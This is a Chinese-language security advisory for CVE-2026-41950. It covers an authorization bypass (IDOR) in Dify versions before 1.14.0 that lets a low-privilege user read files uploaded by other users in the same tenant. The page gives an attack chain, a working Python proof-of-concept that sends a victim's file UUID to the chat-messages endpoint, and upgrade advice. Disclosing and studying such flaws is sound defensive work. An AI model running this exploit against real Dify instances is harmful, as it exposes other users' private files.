IPBUF安全漏洞报告
English
CVE-2026-41950 CVSS 6.5 中危

CVE-2026-41950 Dify授权绕过导致文件读取漏洞

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-41950
漏洞类型
权限绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Dify

相关标签

权限绕过Dify信息泄露IDORCVE-2026-41950

漏洞概述

Dify 1.14.0之前的版本存在授权绕过漏洞。该漏洞允许经过身份验证的用户通过在聊天消息请求的files数组中提供任意文件UUID,读取同一租户内其他用户上传的完整文件内容。攻击者可以利用聊天消息端点中权限验证不足的问题,在没有所有权验证的情况下访问文件。该漏洞绕过了工作区隔离和签名URL保护,通过工作流处理检索敏感文件内容。此漏洞的CVSS评分为6.5,属于中危漏洞,主要影响数据的机密性。

技术细节

该漏洞的核心在于Dify后端在处理聊天消息(`chat-messages`)接口时,对于传入的文件标识符(UUID)缺乏严格的归属权校验机制。通常情况下,文件访问应当通过带有签名的临时URL进行,以防止未授权访问。然而,在特定的工作流处理逻辑中,系统仅验证了UUID的有效性(即文件是否存在),却未验证请求发起者是否为该文件的上传者或拥有者。攻击者利用这一逻辑缺陷,通过构造特定的JSON数据包,将`files`字段中的UUID替换为攻击目标(同一租户内其他用户)上传的文件UUID。当服务器端解析该请求并执行工作流时,会直接根据UUID从存储后端读取敏感文件内容并返回给攻击者。这一过程成功绕过了租户间的逻辑隔离以及预设的签名URL保护机制,构成了典型的越权读取漏洞(IDOR),导致用户隐私数据及敏感商业信息泄露。

攻击链分析

STEP 1
信息收集
攻击者识别目标Dify实例,并获取一个有效的低权限用户账户凭证。
STEP 2
枚举文件ID
攻击者通过正常业务交互或猜测,获取同一租户内其他用户上传文件的UUID。
STEP 3
构造恶意请求
攻击者构造发送至/v1/chat-messages的POST请求,在files参数中填入受害者的文件UUID。
STEP 4
执行越权访问
Dify服务器处理请求,绕过权限校验,直接读取UUID对应的文件内容。
STEP 5
获取敏感数据
服务器将文件内容返回给攻击者,导致信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target configuration TARGET_URL = "https://<dify-instance>/v1/chat-messages" API_KEY = "<attacker_api_key>" VICTIM_FILE_UUID = "<arbitrary_file_uuid>" headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } # Construct payload with arbitrary file UUID payload = { "inputs": {}, "query": "Read this file", "response_mode": "blocking", "conversation_id": "", "user": "attacker", "files": [ { "type": "document", "transfer_method": "local_file", "upload_file_id": VICTIM_FILE_UUID, "use_rag": True } ] } try: # Send the request to trigger the vulnerability response = requests.post(TARGET_URL, headers=headers, json=payload) if response.status_code == 200: print("[+] Exploit successful! Response:") print(json.dumps(response.json(), indent=2)) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")

影响范围

Dify < 1.14.0

防御指南

临时缓解措施
建议立即升级至Dify 1.14.0或更高版本以修复此漏洞。如果暂时无法升级,应严格限制API接口的访问权限,监控异常的文件读取请求,并确保工作流处理逻辑中包含对文件归属者的强制校验。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表